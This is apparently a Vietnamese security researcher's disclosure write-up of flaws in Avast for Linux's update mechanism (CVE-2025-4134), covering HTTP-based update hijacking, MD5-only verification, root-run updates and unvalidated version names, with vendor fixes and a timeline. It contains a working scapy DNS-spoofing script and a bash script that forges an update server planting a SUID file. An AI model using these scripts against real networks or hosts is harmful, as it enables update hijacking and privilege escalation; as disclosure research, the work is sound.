Pwning Antivirus: Avast for Linux và lỗ hổng trong cơ chế cập nhật

Nông Hoàng TúNông Hoàng Tú
11 min read

Cơ chế cập nhật của Avast for Linux

1. Kiến trúc dữ liệu trên server

Avast Antivirus triển khai hệ thống cập nhật phân tán, kết hợp giữa cập nhật toàn phần (full update) và cập nhật vi sai (delta update), nhằm tối ưu hóa về mặt thời gian và lưu lượng mạng. Cụ thể:

File vps9.lat đóng vai trò như một chỉ mục version toàn cục. Máy khách sử dụng file này để so sánh với version đang được cài đặt cục bộ nhằm xác định sự cần thiết của quá trình cập nhật.

Các file .inf chứa thông tin về checksum, version cần cập nhật, và chỉ định sử dụng bản vá (.dif) hoặc cập nhật toàn phần (.ful).

Avast trên máy người dùng sử dụng thông tin từ server để tự động chọn hình thức cập nhật phù hợp.

Trong trường hợp không thể áp dụng patch hoặc gặp lỗi xác minh, hệ thống sẽ chuyển sang tải về .ful, là gói database đầy đủ được nén.

Trong trường hợp cập nhật vi sai, Avast sẽ tải về .dif, là patch nhị phân tạo từ sự khác biệt giữa các version. Thuật toán bdiff được sử dụng để xử lý patch này.

2. Kiến trúc dữ liệu trên client

Thư mục cập nhật tại /var/lib/avast/Setup/filedir nhằm lưu dữ liệu cập nhật từ server.

  • vps9.lat: lưu version hiện tại của file vps9.raw

  • vps9.raw: được sử dụng cho cập nhật vi phân. Đây là một file nén định dạng POSIX tar chứa signatures và engine.

    Thật vậy, chỉ cần đổi phần mở rộng .raw thành .tar là có thể giải nén dữ liệu. Dữ liệu nhận được bao gồm thư viện, database của Avast.

Thư mục database tại /var/lib/avast/defs/ lưu dữ liệu database đã giải nén từ file .raw và được Avast sử dụng cho engine.

  • File aswdefs.ini lưu version number của database hiện tại.

  • Thư mục chứa database của Avast có tên là version number hiện tại.

    Ngoài các dữ liệu signature và library của avast, trong thư mục database còn có 2 file là list_d.txtlist_i.txt.

    2 file này là 2 file manifest lưu thông tin gồm danh sách các file được sử dụng bởi Avast, checksum của từng file.

    Đoạn checksum này nhằm đảm bảo tính toàn vẹn của dữ liệu trong manifest, giúp tránh bị giả mạo.

3. Luồng logic cập nhật và điểm yếu

Avast sử dụng bash script /usr/lib/avast/vpsupdate cho việc cập nhật. Script này sử dụng curl, md5sum để tải và xác minh file. Luồng logic cập nhật được tiến hành như sau:

  1. Thực hiện cập nhật tại URL https://linux-av.u.avcdn.net/linux-av/avast/x86_64/vps9/. Đầu tiên, chương trình kiểm tra version mới nhất trên server qua file vps9.lat. Sau đó, chương trình dựa vào một số điều kiện trên máy client để quyết định phương thức cập nhật.

  2. Tiến hành tải về và cập nhật database:

    • Trong trường hợp cần full update:

      • Tải file database .ful mới nhất

      • Giải nén file .raw (nằm trong file .ful) vào thư mục template nằm trong /tmp/.

      • Kiểm tra MD5 của file .raw và giá trị MD5 trong file manifest. Nếu MD5 match, di chuyển file .raw.lat vào trong /var/lib/avast/Setup/filedir/

    • Nếu dùng patch:

      • Tải một hoặc nhiều file .dif

      • Sử dụng bdiff để patch file .raw trong /var/lib/avast/Setup/filedir/.

      • Kiểm tra MD5 của file .raw mới patch và MD5 trong manifest. Nếu MD5 match thì tạo file .lat mới.

  3. Tạo thư mục chứa database với đường dẫn có dạng /var/lib/avast/defs/<version_name>. Toàn bộ dữ liệu trong file .raw sẽ được giải nén và ghi vào thư mục mới tạo này.

  4. Restart Avast thông qua /usr/lib/avast/submit --flush --quiet

Như vậy, ta có thể thấy điểm yếu trong logic này như sau:

  1. Dùng giao thức HTTP cho quá trình cập nhật: Đây là một giao thức không được xác thực. Threat actor có thể sử dụng kỹ thuật DNS Spoofing khi ở cùng dải mạng để redirect quá trình cập nhật tới untrusted server.

  2. Không verify các dữ liệu database: Trong bước 2 và 3, chỉ MD5 được sử dụng. Việc áp dụng dữ liệu từ database mới nhất trước khi verify các file (trong thư mục template) dẫn đến threat actor có thể ghi file bất kỳ vào trong thư mục database của Avast. Threat actor có thể ghi file SUID và corrupted database khiến hệ thống bảo vệ của Avast ngừng hoạt động.

Ngoài các điểm yếu đã liệt kê, do sự phức tạp của logic liên quan đến xử lý dữ liệu giữa server và client cũng như tương tác giữa dịch vụ update và tài nguyên hệ thống nên quá trình update còn có những điểm yếu khác. Tất cả những điểm yếu đó sẽ được phân tích cụ thể hơn.


Chi tiết điểm yếu, khai thác và bản vá

1. Tấn công DNS Spoofing vào giao thức HTTP

URL của server được lưu trong /etc/avast/vps.conf. Mặc định, URL sử dụng giao thức HTTP:

Vì HTTP là một giao thức không được xác thực, threat actor có thể thực hiện tấn công ARP Spoofing và DNS Spoofing để chuyển hướng quá trình cập nhật sang một server do threat actor kiểm soát.

Đầu tiên, threat actor sử dụng công cụ arpspoof để chuyển hướng gói tin tới phía threat actor, qua đó chặn yêu cầu phân giải DNS tạo điều kiện cho tấn công DNS Spoofing.

Tiếp theo, threat actor sử dụng script Python dưới đây để tấn công DNS Spoof

#!/usr/bin/env python3

from scapy.all import *
import sys

# Define the target IP address
iface = "wlo1"
victim_ip = "192.168.57.117"  # Replace with the target machine IP
spoofed_domain = "linux-av.u.avcdn.net"  # Domain you want to spoof
spoofed_ip = "192.168.57.192"  # Fake IP address to redirect the target to

def dns_spoof(packet):
    # Filter for DNS response
    if packet.haslayer(DNS) and packet[DNS].qr == 0:  # DNS query (qr=0 means a query)
        # Check if the query is for the domain we want to spoof
        if spoofed_domain in str(packet[DNS].qd.qname):
            print(f"[*] Spoofing DNS response for {spoofed_domain}")

            # Craft the spoofed DNS response
            spoofed_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                               UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
                               DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd, 
                                   an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_ip))

            # Send the spoofed DNS response
            send(spoofed_response, verbose=0)
            print(f"[+] Sent spoofed DNS response to {victim_ip} for {spoofed_domain} -> {spoofed_ip}")

# Start sniffing traffic and call dns_spoof on each packet
try:
    print("[*] Starting DNS spoofing attack...")
    sniff(filter=f"udp port 53 and ip src {victim_ip}", prn=dns_spoof, iface=iface)
except KeyboardInterrupt:
    print("\n[!] Attack interrupted. Exiting...")
    sys.exit(0)

Output của script cho thấy yêu cầu phân giải DNS của victim đã bị giả mạo từ phía threat actor.

Như vậy, threat actor thao túng được luồng kết nối từ phía client. Bằng cách kết hợp 2 kiểu tấn công ARP SpoofingDNS Spoofing, luồng kết nối sẽ redirect luồng dữ liệu tới máy chủ giả mạo do hacker kiểm soát.

Để sửa điểm yếu này, Avast đã sử dụng giá trị mặc định của URL là HTTPS.

2. Tấn công giả mạo dữ liệu update

Như đã phân tích ở trên, bước 2 và 3 của quá trình update không thực hiện kiểm tra tính xác thực và toàn vẹn. Như vậy, chỉ cần tạo được một file nén có kiến trúc hợp lệ, threat actor có thể giả mạo database và thao túng quá trình update. Các thay đổi có thể xảy ra bao gồm:

  1. Tạo corrupted signatures khiến cho engine của Avast ngừng hoạt động.

  2. Ghi file bất kỳ vào /var/lib/avast/defs/<version>/. Các file có thể là mã độc và là file SUID nhằm tạo điều kiện leo thang đặc quyền.

Để có thể exploit, threat actor thực hiện tạo dữ liệu update giả mạo như sau:

  1. Tạo dữ liệu độc hại

  2. Thực hiện tạo file nén .ful và tạo manifest của file .ful

  3. Tạo manifest cho file .raw

  4. Tạo manifest chứa version update mới.

Toàn bộ quá trình trên có thể được automate lại bằng bash script như sau:

#!/bin/bash
NEW_VERSION=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
FAKE_DATA=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
DOC_ROOT="/var/www/html/linux-av/avast/x86_64/vps9/"

function rm_documentroot_files() {
  rm -f /var/www/html/linux-av/avast/x86_64/vps9/*
}

function create_fake_update() {
  mkdir -p /var/www/html/linux-av/avast/x86_64/vps9/
  # create fake file of full update
  echo $FAKE_DATA > hehe.txt
  chmod 4755 hehe.txt

  # Create zip file for .ful
  tar -czf vps9${NEW_VERSION}.ful hehe.txt

  # Create info file for metadata
  ## Get checksum from raw file
  gunzip -c vps9${NEW_VERSION}.ful > tmp.raw
  CKSUM_DATA=$(md5sum tmp.raw|cut -d " " -f 1)

  # Create metadata and update file
  echo "MD5=${CKSUM_DATA}" > ${DOC_ROOT}/vps9${NEW_VERSION}.inf
  mv vps9${NEW_VERSION}.ful ${DOC_ROOT}/vps9${NEW_VERSION}.ful
}

function create_lat_file() {
  # Create lat file
  echo ${NEW_VERSION} > ${DOC_ROOT}/vps9.lat
}

function rm_tmp_file() {
  # Remove template generated files
  rm -f tmp.raw hehe.txt *.ful
}


rm_documentroot_files
create_fake_update
create_lat_file
rm_tmp_file

Chạy script vừa rồi, threat actor đã tạo được dữ liệu giả mạo như trong hình dưới:

Bằng cách kết hợp với tấn công Man-In-The-Middle, quá trình update của chương trình vpsupdate thực hiện cập nhật tại máy chủ do hacker tạo ra.

File độc hại do threat actor tạo ra được giữ nguyên quyền SUID khi được ghi xuống máy victim.

Ngoài ra, thư mục database thiếu các file cần thiết, hoặc chứa file bị corrupt sẽ khiến Avast không thể hoạt động.

Để sửa lỗi này, chương trình update sử dụng tính năng của binary /usr/bin/avast để kiểm tra dữ liệu (được giải nén tại một thư mục template) trước khi áp dụng dữ liệu này cho chương trình.

Như vậy, chương trình sẽ kết thúc hoạt động khi phát hiện dữ liệu có vấn đề thay vì thay thế dữ liệu cũ bằng dữ liệu mới.

Có một điểm thú vị là trong quá trình phân tích patch diff, tôi phát hiện ra tính năng này đã tồn tại sẵn trên bản Avast cũ. Tuy nhiên, có thể do sơ suất của đội ngũ phát triển nên tính năng này không được sử dụng (cho đến khi họ nhận được báo cáo).

3. Quá trình cập nhật được thực thi dưới đặc quyền không cần thiết

Trong quá trình trao đổi với vendor, tôi đã nhận được thông tin rằng quá trình update của Avast được thực thi bởi avast. Thực vậy, chương trình update được chạy dưới systemd timer dưới owner avast.

Tuy nhiên, quá trình demo đã chạy script update thành công với quyền root dẫn tới owner của database mới là root.

Như vậy, nếu một quản trị viên thực hiện cập nhật cho Avast thông qua chạy lệnh thủ công, sẽ có 2 trường hợp xảy ra:

  1. Quản trị viên đăng nhập bằng account root và thực hiện update

  2. Quản trị viên đăng nhập bằng account trong group sudoers và sử dụng sudo để update.

Nói cách khác, 2 trường hợp trên quản trị viên đều mắc sai lầm khi thực hiện update bằng quyền root thay vì quyền của avast (ví dụ sudo -u avast /usr/lib/avast/vpsupdate). Điều này dẫn đến owner của database là root dẫn tới các vấn đề sau:

  1. Rất có khả năng Avast không thể cập nhật dữ liệu mới do systemd unit thực hiện cập nhập với owner là avast nên không thể overwrite file của root.

  2. Nếu bị exploit trong lúc đang update thủ công, SUID file sẽ có ownership là root khiến mã độc chiếm được quyền cao nhất của hệ thống.

Để khắc phục điểm yếu này, Avast thực hiện kiểm tra onwer của tiến trình và chạy script dưới quyền thấp hơn.

Note: Điểm yếu này được phát hiện và fix bởi vendor. Phân tích chi tiết được thực hiện sau khi trao đổi thông tin với vendor vào ngày 30 tháng 4.

4. Không xác minh tính hợp lệ của version number

Như đã phân tích ở bước 3, quá trình cập nhật tạo đường dẫn /var/lib/avast/defs/<version_name> và tiến hành ghi dữ liệu cập nhật vào đây. Giá trị version_name được lấy từ file vps9.lat mà không xác định tính hợp lệ của giá trị.

Như vậy, trên lý thuyết, threat actor có thể sử dụng điểm yếu này để exploit lỗ hổng path traversal kết hợp với các lỗ hổng khác đã được phân tích để ghi file vào vị trí khác trong hệ thống. Nếu ghi vào các vị trí nhạy cảm, mã độc có thể tự động thực thi qua crontab hoặc sau khi hệ thống reboot. Tuy nhiên, quá trình xử lý dữ liệu được tải về từ server có sử dụng biến PACKAGE để tạo đường dẫn vào thư mục template. Điều này dẫn đến đường dẫn luôn có tiền tố vps9. Các giá trị version đặc biệt nhằm khai thác path traversal sẽ tạo thành dạng ”vps9” + <path>. Khi đó, hệ thống sẽ hiểu rằng giá trị relative path được đưa ra bao gồm thư mục vps9 không tồn tại. Vì vậy, chương trình sẽ gặp lỗi và dừng hoạt động.

Mặc dù điểm yếu này không thể exploit được, Avast vẫn tiến hành mitigate bằng cách kiểm tra giá trị của version. Giá trị hợp lệ là các ký tự số nguyên từ 0 đến 9.

Timeline

  • Q2/2023: Phát hiện attack surface

  • Tháng 8/2024: Thực hiện nghiên cứu và khai thác

  • 27/9/2024: Gửi báo cáo lỗi tới Avast thông qua BugCrowd

  • 17/4/2025: Phát hiện Avast v4.6 đã fix lỗi. Tiến hành liên hệ lại với đầu mối phía Avast.

  • 30/4/2025: Avast xác nhận lỗi.

  • 28/05/2025: Lỗi được công bố với mã CVE-2025-4134


0
Subscribe to my newsletter

Read articles from Nông Hoàng Tú directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Nông Hoàng Tú
Nông Hoàng Tú